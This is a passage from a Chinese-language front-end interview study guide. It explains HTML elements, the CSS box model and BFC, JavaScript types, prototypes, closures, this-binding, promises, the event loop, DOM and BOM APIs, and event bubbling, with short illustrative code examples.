block/inline/inline-block常用的块级元素:div、p、h1-6、table、form、ul、dl常用的行内元素:a、span、br、label、strong常用的内联块状元素有:img、input默认情况下块级元素会独占一行而行内元素不会块级元素可以设置 width, height 属性而行内元素设置无效块级元素可以设置 margin 和 padding,而行内元素只有水平方向有效,竖直方向无效块级元素可以包含行内元素和块级元素。行内元素不能包含块级元素1.4 什么是 HTML5,和 HTML 的区别是?HTML5 是 HTML 的新标准,其主要目标是无需任何额外的插件如 Flash、Silverlight 等,就可以传输所有内容。它囊括了动画、视频、丰富的图形用户界面等。区别:从文档声明类型上看:HTML 是很长的一段代码,很难记住。HTML5 却只有简简单单的声明,方便记忆。<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" " http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <!DOCTYPE html>从语义结构上看:HTML4.0 没有体现结构语义化的标签,通常都是这样来命名的<div id="header"></div>,这样表示网站的头部。HTML5 在语义上却有很大的优势。提供了一些新的标签,比如:<header><article><footer>。1.5 HTML5 有哪些新特性?新增语义化标签:nav、header、footer、aside、section、article音频、视频标签:audio、video数据存储:localStorage、sessionStoragecanvas(画布)、Geolocation(地理定位)、websocket(通信协议)input 标签新增属性:placeholder、autocomplete、autofocus、requiredhistory API:go、forward、back、pushstate2. CSS不多说了,前端面试 CSS 是必考知识,不过关直接回家2.1 谈谈你对盒模型的理解思路:先讲盒模型是什么再介绍两种盒模型的区别可以再提一下 box-sizing 这个属性回答:当对一个文档进行布局(layout)的时候,浏览器的渲染引擎会根据标准之一的 CSS基础框盒模型(CSS basic box model),将所有元素表示为一个个矩形的盒子(box)。通俗来讲就是网页是由一个一个盒子组成的,而这个盒子是有自己的标准的,一个盒子由以下四个部分组成:content(盒子的内容)padding(盒子的内边距)border(盒子的边框)margin(盒子的外边距)在 CSS 中,盒子模型可以分成:标准盒子模型 和 怪异盒子模型标准盒子模型:浏览器默认的盒子模型盒子总宽度 = width + padding + border + margin盒子总高度 = height + padding + border + margin **`width/height` 只是内容高度,不包含 `padding` 和 `border` 值** - **怪异盒子模型** 盒子总宽度 = `width` + `margin`盒子总高度 = height + margin **`width/height` 包含了 `padding` 和 `border` 值** CSS 中的 box-sizing 属性定义了引擎应该如何计算一个元素的总宽度和总高度content-box 默认值,元素的 width/height 不包含padding,border,与 标准盒子模型表现一致border-box 元素的 width/height 包含 padding,border,与怪异盒子模型表现一致inherit 指定 box-sizing 属性的值,应该从父元素继承2.2 margin 的纵向重叠问题下面我们来看一段代码:<body> <div style="margin-top: 20px"> <div style="margin-top: 10px">aaa</div> </div> <p style="margin-bottom: 50px">bbb</p> <p style="margin-top: 10px">ccc</p> <p style="margin-bottom: 50px">ddd</p> <p></p> <p></p> <p></p> <p style="margin-top: 10px">eee</p> </body>请问:aaa 距离最顶部多少 px?bbb 距离 ccc 多少 px?ddd 距离 eee 多少 px?公布答案: 分别是 20px 50px 50px常见的重叠现象同一层相邻元素之间,相邻元素外边距重叠父元素与子元素重叠空的块级元素重叠解决方法:相邻元素之间:底部元素设置为浮动 float:left;底部元素的 position 的值为 absolute/fixed在设置 margin-top/bottom 值时统一设置上或下(推荐)父子元素之间:外层元素添加 padding外层元素 overflow:hidden/auto(推荐);外层元素透明边框 border:1px solid transparent;内层元素绝对定位 postion:absolute:内层元素加 float:left;或 display:inline-block;2.3 margin-left/right/bottom/top 分别设为负值会怎么样?margin-top 和 margin-left 负值,元素向上、向左移动margin-right 负值,右侧元素左移,自身不受影响margin-bottom 负值,下方元素上移,自身不受影响第一点应该很好理解,下面这张图分别展示了第二和第三点。2.4 BFC 的理解1. 定义:BFC 全称:Block Formatting Context, 名为 "块级格式化上下文"。(全程说出来也能加分)W3C 官方解释为:BFC 它决定了元素如何对其内容进行定位,以及与其它元素的关系和相互作用,当涉及到可视化布局时,Block Formatting Context 提供了一个环境,HTML 在这个环境中按照一定的规则进行布局。简单来说就是,BFC 就是一块独立渲染区域,内部元素的渲染不会影响边界以外的元素。BFC 有自己的规则和触发条件。2. 规则BFC 就是一个块级元素,块级元素会在垂直方向一个接一个的排列BFC 就是页面中的一个隔离的独立容器,容器里的标签不会影响到外部标签垂直方向的距离由 margin 决定, 属于同一个 BFC 的两个相邻的标签外边距会发生重叠计算 BFC 的高度时,浮动元素也参与计算3. 怎样触发 BFCoverflow: hiddendisplay: flex / inline-block / table-cellposition: absolute / fixed4. BFC 解决了什么问题1. 使用 float 脱离文档流,造成高度塌陷<style> .box { margin: 100px; width: 100px; height: 100px; background: red; float: left; } .container { border: 1px solid #000; } </style> <div class="container"> <div class="box"></div> <div class="box"></div> </div>效果:给 container 触发 BFC 就可解决问题,例如 给 container 元素 添加 display:inline-block。效果:2. margin 边距重叠问题这个问题 2.2 已经讲过:<style> .box { margin: 10px; width: 100px; height: 100px; background: #000; } .container { margin-top: 20px; overflow: hidden; } </style> <div class="container"> <div class="box"></div> </div>效果以及触发 BFC 后的效果如下:2.5 css 如何画三角形原理:css 画三角形的原理就是通过 border 画的,因为在 css 中 border 并不是一个矩形,而是一个梯形,在 box 的内容越来越小时,border 的一条底边也会越来越小,直到 box 的宽高都是 0 时,此时的四条 border 就组成了四个三角形,将其他三个隐藏,就能得到一个三角形。<style> .box { /* 内部大小 */ width: 0px; height: 0px; /* 边框大小 只设置两条边*/ border-top: #4285f4 solid; border-right: transparent solid; border-width: 85px; /* 其他设置 */ margin: 50px; } </style> <div class="box"></div>效果:2.6 absolute 和 relative 分别依据什么定位?relative 依据自身定位absolute 依据最近一层的定位元素2.8 居中对齐的实现方式居中的方式有很多,我最常用的还是 flexbox:display:flex; justify-content: center; // 水平居中 align-items: center; // 垂直居中另外常见的还有:text-align: centerline-height 和 height 设置成一样的高度margin: auto 0绝对定位 + margin 负值绝对定位 + transform 负值2.9 line-height 的继承问题请问下面代码 p 标签的行高是多少<style> body { font-size: 20px; line-height: 200%; } p { font-size: 16px; } </style> <p>AAA</p>因为上面的代码中 p 标签没有自己的行高,所以会继承 body 的行高,这题考的就是行高是如何继承的。规则:写具体数值,如 30px, 则直接继承该值写比例,如 2 / 1.5,则继承该比例写百分比,如 200%, 则继承计算出来的值答案:40px2.10 rem 是什么?rem 是一个长度单位:px,绝对长度单位,最常用em,相对长度单位,相对于父元素,不常用rem,相对长度单位,相对于 html 根元素,常用于响应式布局2.11 CSS3 新增了哪些特性?1. css3 中新增了一些选择器,主要为下图:2. css3 中新增了一些样式边框:border-radius box-shadow border-image背景:background-clip、background-origin、background-size 和 background-break文字:word-wrap text-overflow text-shadow text-decoration颜色:rgba 与 hsla动画相关: transition transform animation 渐变:linear-gradient radial-gradient其他: flex布局 grid布局(上面提及的属性都应该去了解!)3. JS 基础-变量类型和计算不会变量,别说会 JS3.1 JavaScript 中的数据类型有哪些?JS 中的数据类型分为 值类型(基本类型) 和 引用类型(对象类型)基本类型有:undefined、null、boolean、string、number、symbol、BigInt 七种引用类型有:Object、Function、Array、RegExp、Date 等等3.2 null 和 undefined 有什么区别?首先 undefined 和 null 都是基本数据类型。undefined 翻译过来是 未定义。表示 此处应该有一个值,但是还没有定义null 翻译过来是 空的。表示 没有对象,即此处不应该有值典型用法:一般变量声明了但还没有定义的时候会返回 undefined,函数中没有返回值时默认返回undefined,以及函数参数没提供时这个参数也是 undefinednull 作为对象原型链的终点。null 作为函数的参数,表示该函数的参数不是对象。typeof undefined 值为 undefined,typeof null 是 'object'undefined == null // true undefined === null // false至于为什么在 js 中会有 null 和 undefined 吗,就要从历史谈起了,建议阅读一下阮一峰老师的文章 undefined与null的区别我的总结就是,JS 最初是只设计了一种表示 “无” 的值的就是 null,这点很好理解就像 java 以及其他语言中的 null 一样,但是在 JS 中的数据类型分为 基本类型 和 对象类型,JS 的作者认为表示 “无” 的变量最好不是一个对象,另外 JS 早期没有错误处理机制,有时null 自动转为 0,很不容易发现错误,而 undefined 会转换成 NaN。3.3 谈谈 Javascript 中的类型转换机制JS 的类型转换分为:显式转换 和 隐式转换1. 显式转换显式转换常见的方法有:Number:将任意类型的值转化为数值Number(324) // 324 // 字符串:如果可以被解析为数值,则转换为相应的数值 Number('324') // 324 // 字符串:如果不可以被解析为数值,返回 NaN Number('324abc') // NaN // 空字符串转为0 Number('') // 0 // 布尔值:true 转成 1,false 转成 0 Number(true) // 1 Number(false) // 0 // undefined:转成 NaN Number(undefined) // NaN // null:转成0 Number(null) // 0 // 对象:通常转换成NaN(除了只包含单个数值的数组) Number({a: 1}) // NaN Number([1, 2, 3]) // NaN Number([5]) // 5parseInt:和 Number 相比,Number 会更严格一些,只要有一个字符无法转换成数值,整个字符串就会被转为 NaN,而 parseInt 函数逐个解析字符,遇到不能转换的字符就停下来例如:Number('32a3') // NaN parseInt('32a3') // 32String:可以将任意类型的值转化成字符串// 数值:转为相应的字符串 String(1) // "1" //字符串:转换后还是原来的值 String("a") // "a" //布尔值:true转为字符串"true",false转为字符串"false" String(true) // "true" //undefined:转为字符串"undefined" String(undefined) // "undefined" //null:转为字符串"null" String(null) // "null" //对象 String({a: 1}) // "[object Object]" String([1, 2, 3]) // "1,2,3"Boolean:可以将任意类型的值转为布尔值Boolean(undefined) // false Boolean(null) // false Boolean(0) // false Boolean(NaN) // false Boolean('') // false Boolean({}) // true Boolean([]) // true Boolean(new Boolean(false)) // true隐式转换在 JS 中,很多时候会发生隐式转换,我们可以归纳为两种场景:比较运算(==、!=、>、<)、if、while 需要布尔值的地方算术运算(+、-、*、/、%)上面的场景有个前提就是运算符两边的操作数要是不同一类型的自动转换为布尔值在需要布尔值的地方,就会将非布尔值的参数自动转为布尔值,系统内部会调用Boolean函数。undefined null false +0 -0 NaN "" 这些都会被转化成 false,其他都换被转化成 true自动转换成字符串遇到预期为字符串的地方,就会将非字符串的值自动转为字符串常发生在 + 运算中,一旦存在字符串,则会进行字符串拼接操作'5' + 1 // '51' '5' + true // "5true" '5' + false // "5false" '5' + {} // "5[object Object]" '5' + [] // "5" '5' + function (){} // "5function (){}" '5' + undefined // "5undefined" '5' + null // "5null"自动转换成数值除了 + 有可能把运算子转为字符串,其他运算符都会把运算子自动转成数值'5' - '2' // 3 '5' * '2' // 10 true - 1 // 0 false - 1 // -1 '1' - 1 // 0 '5' * [] // 0 false / '5' // 0 'abc' - 1 // NaN null + 1 // 1 undefined + 1 // NaN3.4 == 和 ===有什么区别,分别在什么情况使用?== 叫 等于操作符=== 叫 全等操作符== 在比较时会进行隐式的类型转换'' == '0' // false 0 == '' // true 0 == '0' // true false == 'false' // false false == '0' // true false == undefined // false false == null // false null == undefined // true ' \t\r\n' == 0 // true比较 null 的情况的时候,我们一般使用相等操作符 ==const obj = {}; if(obj.x == null){ console.log("1"); //执行 }等同于下面写法if(obj.x === null || obj.x === undefined) { ... }使用相等操作符 (==) 的写法明显更加简洁了所以,除了在比较对象属性为 null 或者 undefined 的情况下,我们可以使用相等操作符 (==),其他情况建议一律使用全等操作符 (===)3.5 let、var、const 的区别let 和 const 都是 ES6 新增加了两个重要的关键字,var 是 ES6 之前就有的,他们都是用来声明变量的,const 是用来声明一个只读的常量。var、let、const 三者区别可以围绕下面五点展开:变量提升:var 可以在声明之前调用,let 和 const 不行(会报错)块级作用域:var 不存在跨级作用于,let 和 const 有重复声明:var 允许重复声明变量,let 和 const 不行修改声明的变量:var 和 let 可以,const 不行使用:能用 const 的情况尽量使用 const,其他情况下大多数使用 let,避免使用 var3.6 const 声明了数组,还能 push 元素吗,为什么?可以数组是引用类型,const 声明的引用类型变量,不可以变的是变量引用始终指向某个对象,不能指向其他对象,但是所指向的某个对象本身是可以变的3.7 0.1 + 0.2 == 0.3?答案是 false 不相等。原因:0.1 和 0.2 在转换成二进制后会无限循环,由于标准位数的限制后面多余的位数会被截掉,此时就已经出现了精度的损失,相加后因浮点数小数位的限制而截断的二进制数字在转换为十进制就会变成 0.30000000000000004。总结一句话就是:二进制模拟十进制进行计算时的精度问题3.8 值类型 和 引用类型 的值得计算1. 第一道var a = {"x": 1}; var b = a; a.x = 2; console.log(b.x); a = {"x": 3}; console.log(b.x); a.x = 4; console.log(b.x);答案放在了下面,思考一下哦~原理:首先:第一个 log 打印 2 大家应该都没问题然后 a 指向了栈内存中的另一块地址,而 b 没变,所以 b.x 仍然为 2接着修改 a.x = 4 ,因为此时 b 仍然指向之前的地址,所以修改 a.x 并不会去影响 b,所以打印仍然为 2答案:2 2 22. 第二道:var a = {n:1}; var b = a; a.x = a = {n:2}; console.log(a.x); console.log(b.x);答案在下面思考下哦~这次我尝试一张图解释:答案: undefined {n: 2}4. JS 基础-原型和原型链三座大山之一,必考!!!4.1 JavaScript 中的原型,原型链分别是什么?在 JS 中,原型和原型链是一个很重要的概念,可以说原型本质就是一个对象。它分为两种: 对象的原型和 函数的原型对象的原型:任何对象都有自己默认的原型(隐式原型),它的作用就是在当前对象查找某一个属性时, 如果找不到, 会在原型上面查找获取隐式原型的方法:__proto__(这个不是规范,是浏览器加的,因为早期没有获取原型对象的方法)Object.getPrototypeOf(obj)函数的原型:首先,因为函数也是一个对象,所以他会有一个 __proto__ 隐示原型其次任何一个函数(非箭头函数)还会有自己的 prototype 属性(显式原型)获取显示原型的方法:prototype作用:当通过 new 操作符调用函数时, 创建一个新的对象这个新的对象的 隐式原型 会指向这个函数的 显式原型obj.__proto__ = F.prototype原型链:上面讲过,隐式原型的作用是 当前对象查找某一个属性时, 如果找不到, 会在原型上面查找,而原型也是一个对象,所以在原型对象上找不到的话,还会去原型对象的对象上找,这样一层一层、以此类推就形成了原型链(prototype chain)4.2 如何准确判断一个变量不是数组?1. instanceofinstanceof 运算符用于检测构造函数的 prototype 属性是否出现在某个实例对象的原型链上如果让你实现一个 instanceof 应该就很简单了吧?(循环遍历对象的隐式原型知道为 null 或者为 Array)let arr = [1, 2]; arr instanceof Array // true2. toStringlet arr = [1, 2]; Object.prototype.toString.call(arr) === '[object Array]'3. constructorlet arr = [1,2]; arr.constructor === Array; // true4. isArraylet arr = [1,2]; Array.isArray(arr) // true4.3 JS 如何实现继承在 ES6 中可以使用 class + extends 的方式很容易实现继承,而它的本质其实就是通过原型链来实现的ES6 实现继承:class Person { constructor(name) { this.name = name; } sayHello() { console.log("你好,我是" + this.name); } } class Student extends Person { constructor(name, sno) { super(name); this.sno = sno; } readingBooks() { console.log("我正在读书"); } } const stu = new Student("张三", "001"); // Student 子类能调用父类的 sayHello 方法 stu.sayHello(); stu.readingBooks();ES5 实现继承:function Person(name) { this.name = name; } Person.prototype.sayHello = function () { console.log("你好,我是", this.name); }; function Student(name, sno) { this.name = name; this.sno = sno; } const per = new Person() Student.prototype = perper; Student.prototype.readingBooks = function () { console.log("我正在读书"); }; const stu = new Student("张三", "001"); // Student 子类能调用父类的 sayHello 方法 stu.sayHello(); stu.readingBooks();ES5 中的继承还会复杂一些,初级面知道这些就够了,如果感兴趣,还可以看下我的这篇文章 js 常见手写题汇总 第 14 章实现继承。下面我们用一张图来解释原型链继承的原理:5. JS 基础-作用域和闭包三座大山之二,不会闭包,基本不会通过5.1 什么是作用域?什么是自由变量?作用域 就是即变量(变量作用域又称上下文)和函数生效(能被访问)的区域或集合。我们一般将作用域分成:全局作用域:任何不在函数中或是大括号中声明的变量,都是在全局作用域下,全局作用域下声明的变量可以在程序的任意位置访问函数作用域:函数作用域也叫局部作用域,如果一个变量是在函数内部声明的它就在一个函数作用域下面。这些变量只能在函数内部访问,不能在函数以外去访问块级作用域:ES6 引入了 let 和 const 关键字,和 var 关键字不同,在大括号中使用 let 和 const 声明的变量存在于块级作用域中。在大括号之外不能访问这些变量。自由变量 就是一个变量在当前作用域没有定义,但被使用了。那这个时候怎么办呢?它会向上级作用域,一层一层依次寻找,知道找到为止。如果到全局作用域都没找到,则报错 xx is not defined5.2 什么是闭包?闭包会用在哪儿?闭包是什么?一个函数和对其周围状态(lexical environment,词法环境)的引用捆绑在一起(或者说函数被引用包围),这样的组合就是闭包(closure)也就是说,闭包让你可以在一个内层函数中访问到其外层函数的作用域在 JavaScript 中,每当创建一个函数,闭包就会在函数创建的同时被创建出来,作为函数内部与外部连接起来的一座桥梁下面给出一个简单的例子:function init() { var name = "Mozilla"; // name 是一个被 init 创建的局部变量 function displayName() { // displayName() 是内部函数,一个闭包 alert(name); // 使用了父函数中声明的变量 } displayName(); } init();使用场景闭包常常作为函数 参数 和 返回值:作为函数参数:function print(fn) { let a = 200; fn(); } let a = 100; function fn() { console.log(a); } print(fn); // 100 作为函数的返回值function create() { let a = 100; return function () { console.log(a); }; } let fn = create(); let a = 200; fn(); // 100任何闭包的使用场景都离不开这两点:创建私有变量延长变量的生命周期一般函数的词法环境在函数返回后就被销毁,但是闭包会保存对创建时所在词法环境的引用,即便创建时所在的执行上下文被销毁,但创建时所在词法环境依然存在,以达到延长变量的生命周期的目的使用闭包的注意点由于闭包会使得函数中的变量都被保存在内存中,内存消耗很大,所以不能滥用闭包,否则会造成网页的性能问题,在 IE 中可能导致内存泄露。解决方法是,在退出函数之前,将不使用的局部变量全部删除。闭包会在父函数外部,改变父函数内部变量的值。所以,如果你把父函数当作对象(object)使用,把闭包当作它的公用方法(Public Method),把内部变量当作它的私有属性(private value),这时一定要小心,不要随便改变父函数内部变量的值。5.3 this 的绑定规则有哪些?优先级?this 关键字是函数运行时自动生成的一个内部对象,只能在函数内部使用,总指向调用它的对象。根据不同的使用场合,this 有不同的值,主要分为下面几种情况:1. 默认绑定:什么情况下使用默认绑定呢?独立函数调用。独立的函数调用我们可以理解成函数没有被绑定到某个对象上进行调用;案例一:普通函数调用该函数直接被调用,并没有进行任何的对象关联;这种独立的函数调用会使用默认绑定,通常默认绑定时,函数中的 this 指向全局对象(window);function foo() { console.log(this); // window } foo();案例二:函数调用链(一个函数又调用另外一个函数)所有的函数调用都没有被绑定到某个对象上;// 2.案例二: function test1() { console.log(this); // window test2(); } function test2() { console.log(this); // window test3() } function test3() { console.log(this); // window } test1();案例三:将函数作为参数,传入到另一个函数中function foo(func) { func() } function bar() { console.log(this); // window } foo(bar);我们对案例进行一些修改,考虑一下打印结果是否会发生变化:这里的结果依然是 window,为什么呢?原因非常简单,在真正函数调用的位置,并没有进行任何的对象绑定,只是一个独立函数的调用;function foo(func) { func() } var obj = { name: "why", bar: function() { console.log(this); // window } } foo(obj.bar);2. 隐式绑定:另外一种比较常见的调用方式是通过某个对象进行调用的:也就是它的调用位置中,是通过某个对象发起的函数调用。案例一:通过对象调用函数foo 的调用位置是 obj.foo() 方式进行调用的那么 foo 调用时 this 会隐式的被绑定到 obj 对象上function foo() { console.log(this); // obj对象 } var obj = { name: "why", foo: foo } obj.foo();案例二:案例一的变化我们通过 obj2 又引用了 obj1 对象,再通过 obj1 对象调用 foo 函数;那么 foo 调用的位置上其实还是 obj1 被绑定了 this;function foo() { console.log(this); // obj1 对象 } var obj1 = { name: "obj1", foo: foo } var obj2 = { name: "obj2", obj1: obj1 } obj2.obj1.foo();案例三:隐式丢失结果最终是 window,为什么是 window 呢?因为 foo 最终被调用的位置是 bar ,而 bar 在进行调用时没有绑定任何的对象,也就没有形成隐式绑定;相当于是一种默认绑定;function foo() { console.log(this); } var obj1 = { name: "obj1", foo: foo } // 讲obj1的foo赋值给bar var bar = obj1.foo; bar();3. 显示绑定隐式绑定有一个前提条件:必须在调用的 对象内部 有一个对函数的引用(比如一个属性);如果没有这样的引用,在进行调用时,会报找不到该函数的错误;正是通过这个引用,间接的将this绑定到了这个对象上;如果我们不希望在 对象内部 包含这个函数的引用,同时又希望在这个对象上进行强制调用,该怎么做呢?JavaScript 所有的函数都可以使用 call 和 apply 方法(这个和 Prototype 有关)。它们两个的区别这里不再展开;其实非常简单,第一个参数是相同的,后面的参数,apply 为数组,call 为参数列表;这两个函数的第一个参数都要求是一个对象,这个对象的作用是什么呢?就是给 this 准备的。在调用这个函数时,会将 this 绑定到这个传入的对象上。因为上面的过程,我们明确的绑定了 this 指向的对象,所以称之为 显示绑定。案例一:call、apply通过 call 或者 apply 绑定 this 对象显示绑定后,this 就会明确的指向绑定的对象function foo() { console.log(this); } foo.call(window); // window foo.call({name: "why"}); // {name: "why"} foo.call(123); // Number对象,存放 123案例二:bind 函数如果我们希望一个函数总是显示的绑定到一个对象上,我们可以使用 bind 函数:function foo() { console.log(this); } var obj = { name: "why" } var bar = foo.bind(obj); bar(); // obj对象 bar(); // obj对象 bar(); // obj对象案例三:内置函数有些时候,我们会调用一些 JavaScript 的内置函数,或者一些第三方库中的内置函数。这些内置函数会要求我们传入另外一个函数;我们自己并不会显示的调用这些函数,而且 JavaScript 内部或者第三方库内部会帮助我们执行;这些函数中的 this 又是如何绑定的呢?// 1. setTimeout中会传入一个函数,这个函数中的this通常是window setTimeout(function() { console.log(this); // window }, 1000); // 2. forEach map filter 等高阶函数 this 通常指向 window对象,但我们可以通过第二个参数改变 var names = ["abc", "cba", "nba"]; names.forEach(function(item) { console.log(this); // 三次window }); var names = ["abc", "cba", "nba"]; var obj = {name: "why"}; names.forEach(function(item) { console.log(this); // 三次obj对象 }, obj);4. new 绑定JavaScript 中的函数可以当做一个类的构造函数来使用,也就是使用 new 关键字。使用 new 关键字来调用函数时,会执行如下的操作:1.创建一个全新的对象;2.这个新对象会被执行 Prototype 连接;3.这个新对象会绑定到函数调用的 this 上 (this 的绑定在这个步骤完成);4.如果函数没有返回其他对象,表达式会返回这个新对象;// 创建Person function Person(name) { console.log(this); // Person {} this.name = name; // Person {name: "why"} } var p = new Person("why"); console.log(p);5. 优先级new绑定 > 显示绑定(bind) > 隐式绑定 > 默认绑定PS: new 绑定后可以使用 bind 但是 bind 不会生效。 new 绑定后使用 call 和 apply 会报错。5. 规则之外bind 绑定一个 null 或者 undefined 无效间接函数引用function foo() { console.log(this); } var obj1 = { name: "obj1", foo: foo }; var obj2 = { name: "obj2" } obj1.foo(); // obj1对象 // 赋值(obj2.foo = obj1.foo)的结果是foo函数 // foo函数被直接调用,那么是默认绑定; (obj2.foo = obj1.foo)(); // window ES6 箭头函数:箭头函数不使用 this 的四种标准规则(也就是不绑定 this ),而是根据外层作用域来决定 this。6. JS 基础-异步三座大山之三,必考!!!6.1 同步 和 异步 的区别JS 是一门单线程的编程语言,这就意味着一个时间里只能处理一件事,也就是说 JS 引擎一次只能在一个线程里处理一条语句。(浏览器和 nodejs 已经支持 js 启动进程,如 web worker)虽然单线程简化了编程代码,因为这样咱们不必太担心并发引出的问题,这也意味着在阻塞主线程的情况下执行长时间的操作,如网络请求。想象一下从 API 请求一些数据,根据具体的情况,服务器需要一些时间来处理请求,同时阻塞主线程,使网页长时间处于无响应的状态。这就是引入异步 JS 的原因。使用异步 (如 回调函数、promise、async/await),可以不用阻塞主线程的情况下长时间执行网络请求。总结:基于 js 单线程本质,同步会阻塞代码执行,异步不会阻塞代码执行。6.2 异步的应用场景网络请求,如 ajax 加载图片定时任务,setTimeout6.3 你是怎么理解ES6中 Promise的?1. 介绍Promise,译为承诺,是异步编程的一种解决方案,比传统的解决方案(回调函数)更加合理和更加强大。Promise 的出现主要解决了用回调函数处理多层异步操作出现的回调地狱问题// 1. 经典的回调地狱 doSomething(function(result) { doSomethingElse(result, function(newResult) { doThirdThing(newResult, function(finalResult) { console.log('得到最终结果: ' + finalResult); }, failureCallback); }, failureCallback); }, failureCallback); // 2. 链式操作减低了编码难度 代码可读性明显增强 doSomething().then(function(result) { return doSomethingElse(result); }) .then(function(newResult) { return doThirdThing(newResult); }) .then(function(finalResult) { console.log('得到最终结果: ' + finalResult); }) .catch(failureCallback);promise 对象仅有三种状态:pending(进行中) fulfilled(已成功) rejected(已失败)对象的状态不受外界影响,只有异步操作的结果,可以决定当前是哪一种状态一旦状态改变(从 pending 变为 fulfilled 和从 pending 变为 rejected ),就不会再变,任何时候都可以得到这个结果2. 用法创建一个 Promise// 1. Promise对象是一个构造函数,用来生成Promise实例 // resolve函数的作用是,将Promise对象的状态从“未完成”变为“成功” // reject函数的作用是,将Promise对象的状态从“未完成”变为“失败” const promise = new Promise(function(resolve, reject) {});实例方法:then():then 是实例状态发生改变时的回调函数,第一个参数是 resolved 状态的回调函数,第二个参数是 rejected 状态的回调函数catch():catch() 方法是 .then(null, rejection) 或 .then(undefined, rejection) 的别名,用于指定发生错误时的回调函数finally():finally() 方法用于指定不管 Promise 对象最后状态如何,都会执行的操作构造函数方法:all()race()allSettled()resolve():将现有对象转为 Promise 对象reject():返回一个新的 Promise 实例,该实例的状态为rejectedps:all race allSettled 这三个方法都能将多个 promise实例转换为 1 个 promise 实例,区别就是 all 只有当所有实例状态都变为 fulfilled 最终返回的实例状态才会变为 fulfilled。race 则返回最快改变状态的实例,allSettled 则会等所有实例状态改变才会改变。6.4 手写 Promise 加载一张图片const preloadImage = function (path) { return new Promise(function (resolve, reject) { const image = new Image(); image.onload = () => { resolve(image) }; image.onerror = () => { const err = new Error(`图片加载失败${path}`) reject(err) }; image.src = path; }); };7. JS 异步进阶关于异步还有更多的问题,很重要7.1 什么是事件循环 event loop?因为 js 是单线程的,为了防止代码阻塞会将代码分成同步和异步同步代码交给 js 引擎执行,异步代码交给宿主环境(浏览器、node)同步代码放入执行栈中,异步代码等待时机成熟送入任务队列排队执行栈执行完毕,会去任务队列看是否有异步任务,有就送到执行栈执行,反复循环查看执行代码,这个过程就是事件循环(event loop)7.2 什么是宏任务和微任务,它们的区别?上题讲到 js 将代码分成同步和异步,而在异步任务中又分 宏任务(macro-task)和微任务(micro-task)。 宏任务是由宿主(浏览器、node)发起的,微任务是由 js 引擎发起的宏任务大概包括script(整体代码)setTimeoutsetIntervalsetImmediateI/OUI render微任务大概包括process.nextTickPromiseAsync/Await(实际就是promise)MutationObserver(html5新特性)宏任务和微任务的执行过程先执行同步代码后执行微任务的异步代码再执行宏任务的异步代码如下图所示:下面有个小例子:setTimeout(() => { console.log(1); }); Promise.resolve().then(() => { console.log(2); }); console.log(3);代码最终执行: 3 2 1考异步代码执行顺序的题目有很多,这里推荐一个 练习事件循环的网站7.3 async/await 语法用法很简单,这里不说了。你可以把 await 后面的代码理解为是放在 Promise.then 中,看上去相当于将链式的调用变成了同步的执行关于async/await 的本质 最好去理解一下,其实就是 Promise 和 Generator 的语法糖7.4 手写 Promise详见 JavaScript 常见手写题汇总 第 15 章8. JS-Web-API-DOM学会DOM,才能具备网页开发的基础8.1 DOM 是什么?DOM:Document Object Model 指的是文档对象模型,它指的是把文档当做一个对象,这个对象主要定义了处理网页内容的方法和接口。DOM 的本质就是一颗树8.2 DOM 节点的操作获取 DOM 节点getElementByIdgetElementByClassNamegetElementByTagNamequerySeletorAllDOM 节点的 property通过 js 对象属性的方式来获取或修改 DOM 节点const pList = document.querySelectorAll('p') const p = pList[0] console.log(p.style.width) // 获取样式 p.style.width = '100px' // 修改样式 console.log(p.className) // 获取 class p.className = 'p1' // 修改 class // 获取 nodeName 和 nodeType console.log(p.nodeName) console.log(p.nodeType)DOM 节点的 attribute通过 getAttribute setAttribute 这种 API 的方式来修改 DOM 节点const pList = document.querySelectorAll('p') const p = pList[0] p.setAttribute('data-name', 'coder') // 设置值 console.log(p.getAttribute('data-name')) // 获取值property 和 attribute 形式都可以修改节点的属性,但是对于新增或删除的自定义属性,能在 html 的 dom 树结构上体现出来的,就必须要用到 attribute 形式了。8.3 DOM 结构操作新增插入节点:<div id="div1">div1</div> <div id="div2">div2</div> <p id="p2">这是 p2 标签</p> <script> const div1 = document.getElementById("div1"); const div2 = document.getElementById("div2"); // 新建节点 const p1 = document.createElement("p"); p1.innerHTML = "这是新的 p 标签"; // 插入节点 div1.appendChild(p1); // 移动节点 const p2 = document.getElementById("p2"); div2.appendChild(p2); </script>获取子元素列表,获取父元素// 获取父元素 console.log(p1.parentNode); // 获取子元素列表 console.log(div2.childNodes);删除子元素// 删除子元素 div2.removeChild(div2.childNodes[0]);8.4 如何优化 DOM 性能DOM 操作非常昂贵,避免频繁的 DOM 操作对 DOM 操作做缓存将频繁 DOM 操作改为一次性操作9. JS-Web-API-BOM内容虽然不多,但是你不能不会9.1 什么 BOM ?BOM:Browser Object Model 指的是浏览器对象模型,它指的是把浏览器当做一个对象来对待,这个对象主要定义了与浏览器进行交互的法和接口。BOM 的核心是 window,而 window 对象具有双重角色,它既是通过 js 访问浏览器窗口的一个接口,又是一个 Global(全局)对象。这意味着在网页中定义的任何对象,变量和函数,都作为全局对象的一个属性或者方法存在。window 对象含有 location 对象、navigator 对象、screen 对象等子对象,并且 DOM 的最根本的对象 document 对象也是 BOM 的 window 对象的子对象。9.2 如何识别浏览器类型navigator.userAgent 简称 ua,可以从 ua 里拿到浏览器信息9.3 拆解 url 各部分location:hrefprotocolpathnamesearchhash10. JS-Web-API-事件事件不会,等于残废,必考!必考!10.1 谈谈你对事件冒泡和捕获的理解事件冒泡和事件捕获分别由微软和网景公司提出,这两个概念都是为了解决页面中事件流(事件发生顺序)的问题。<div id="outer"> <p id="inner">Click me!</p> </div>上面的的两个元素,如果点击 inner,他们的执行顺序是什么呢?事件冒泡:先执行 inner 的监听事件在执行 outer 的监听事件事件捕获:先执行 outer 的监听事件在执行 inner 的监听事件其实这个很好理解,冒泡就是从一个泡泡从水底往上冒当然是里面的先执行啦。至于为什么会有这两种情况,这就要谈到网景和微软的战争了,两家公司的理念不同。网景主张捕获方式,微软主张冒泡方式。后来 w3c 将两者都保留了下来。addEventListener 的第三个参数就是为冒泡和捕获准备的。第三个参数设置为 true 可以将让当前元素绑定的事件先于里面的元素绑定事件执行。默认是 false10.2 什么是 事件代理事件代理(Event Delegation)也称之为事件委托。是 JavaScript 中常用绑定事件的常用技巧。顾名思义,事件代理 